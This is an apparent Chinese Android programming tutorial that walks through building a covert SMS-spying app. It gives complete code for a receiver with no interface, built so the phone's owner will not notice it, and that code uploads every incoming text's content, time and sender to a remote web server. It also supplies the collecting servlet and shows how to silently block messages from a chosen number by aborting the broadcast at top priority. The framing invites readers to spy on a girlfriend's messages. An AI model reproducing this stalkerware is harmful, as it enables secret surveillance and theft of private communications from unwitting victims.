37_采用广播接收者实现短信窃听器
1. 原理:当系统接收到短信时候,会发出一个广播Intent,Intent的action名称为android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,我们使用名称“pdus”即可以从Intent中取得短信的内容。
广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。前者是完全异步的,所有接收者(逻辑上)都在同一时刻运行,对消息传递的效率而言这是很好的做法,但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播;然而后者是逐个执行接收者——系统会按照接收者声明的优先级别(声明在intent-filter元素的android:priority属性中,数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置),按顺序逐次执行。
Context.sendBroadcast()
发送的是普通广播,所有订阅者都有机会获得并进行处理。
Context.sendOrderedBroadcast()
发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播。对于有序广播,前面的接收者可以将处理结果存放进广播Intent,然后传给下一个接收者。
广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
}
}
第二步:订阅感兴趣的广播Intent,订阅方法有两种:
第一种:使用代码进行订阅
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
第二种:在AndroidManifest.xml文件中的
使用广播接收者窃听短信
如果你想窃听别人接收到的短信,达到你不可告人的目的,那么本节内容可以实现你的需求。
当系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播Intent,该Intent存放了接收到的短信内容,使用名称“pdus”即可从Intent中获取短信内容。
public class IncomingSMSReceiver extends BroadcastReceiver {
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(SMS_RECEIVED)) {
SmsManager sms = SmsManager.getDefault();
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages){
String msg = message.getMessageBody();
String to = message.getOriginatingAddress();
sms.sendTextMessage(to, null, msg, null, null);
}}}}}
在AndroidManifest.xml文件中的
在AndroidManifest.xml文件中添加以下权限:
除了短信到来广播Intent,Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。
l 接收电池电量变化广播Intent ,在AndroidManifest.xml文件中的
l 接收开机启动广播Intent,在AndroidManifest.xml文件中的
并且要进行权限声明:
下面是短信窃听器的第一步需要的代码:可以实现把接收到的短信发送给网络中的web程序
1. 新建android项目,注意建的时候不要选择创建activity。这个程序要实现窃听,这样就不会创建界面,不会被手机使用者发现。
SMSListener
package com.credream.smslistener;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.gsm.SmsMessage;
public class SMSBroadcastReceiver extends BroadcastReceiver
{
//广播接受者,把广播意图传入广播接受者中
@Override
public void onReceive(Context context, Intent intent)
{
//通过这个可以从传来的意图对象中得到短息的内容
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p : pdus){
byte[] pdu = (byte[]) p;
//生成短信消息对象
SmsMessage message = SmsMessage.createFromPdu(pdu);
//取得短信的各个内容
String content = message.getMessageBody();//取得短信内容
Date date = new Date(message.getTimestampMillis());//取得短信接收的时间,返回的是lang类型的
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//转换一下得到的接收时间的格式
String receiveTime = format.format(date);
String senderNumber = message.getOriginatingAddress();//取得短信的来源地址,也就是发送的手机号
//把数据发送给窃听者,可以有两种方法,一种是直接给窃听者发短信
//另一种方法是,把数据上传到web服务器中,第一种的话会扣除短信费,那么会
//如果短信很多的话,容易被用户发现.所以这里选择第二种.
sendSMS(content, receiveTime, senderNumber);
}
}
private boolean sendSMS(String content, String receiveTime, String senderNumber) {
try{
//以post方法,把数据封装到post方法中发给远程的服务器
String params = "content="+ URLEncoder.encode(content, "UTF-8")+
"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
byte[] entity = params.getBytes();
//路径
String path = "http://192.168.0.110:6118/SMSListenerTest/ReceiveSMSServlet";
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);//允许输出数据
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode() == 200){//判断请求有无成功
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
2. 在清单文件中配置:
xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.credream.smslistener"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="8" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
intent-filter>
receiver>
application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
manifest>
3. 然后创建用于接收短信的web项目:SMSListenerTest
package com.credram.servlet;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ReceiveSMSServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String content = request.getParameter("content");//接收短信内容
String receiveTime = request.getParameter("receivetime");//接收短信时间
String senderNumber = request.getParameter("sendernumber");//短信来源手机号
System.out.println("短信内容:"+ content);
System.out.println("接收时间:"+ receiveTime);
System.out.println("发送者:"+ senderNumber);
}
}
4. 在web.xml中配置Servlet
<servlet>
<servlet-name>ReceiveSMSServletservlet-name>
<servlet-class>com.credram.servlet.ReceiveSMSServletservlet-class>
servlet>
<servlet-mapping>
<servlet-name>ReceiveSMSServletservlet-name>
<url-pattern>/ReceiveSMSServleturl-pattern>
servlet-mapping>
5. 开始测试:首先把android项目部署到模拟器credream端口号为5554中,然后开启web项目
6. 开启模拟器xiaofeng端口号位5556,然后用该模拟器给credream5554模拟器发送短信,可以查看tomcat,控制台,这时候已经打印出了结果:
短信内容:Wo shi lidewei
接收时间:2013-04-19 15:19:49
发送者:15555215556
7. 现在假设5554是你女友的手机号码,5556是你情敌的号码,现在屏蔽掉
5556发给5554。
短信应用有一个短信接受者,来接收系统发送的短信到来广播。
系统发送的是有序广播,那么会根据优先级来为短信接收者提供广播。
那么只要自己创建的短信接收者的优先级高于系统短信应用的优先级那么就可以了,然后在自己创建的短信接收者中终止短信广播的传播。
这时候需要添加以下代码:
在SMSBroadcastReceiver类中添加:
publicvoid onReceive(Context context, Intent intent)
{//添加下面代码,如果是5556来的短信的话,就屏蔽掉
sendSMS(content, receiveTime, senderNumber);
if("5556".equals(senderNumber)){
abortBroadcast();//终止广播
}
}
然后在清单文件中,修改广播:添加上广播意图的优先级1000,也就是最高优先级
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
intent-filter>
2013-4-19 23:47:02 org.apache.catalina.core.StandardContext reload
信息: Reloading this Context has started
短信内容:I love you
接收时间:2013-04-19 15:49:07
发送者:15555215556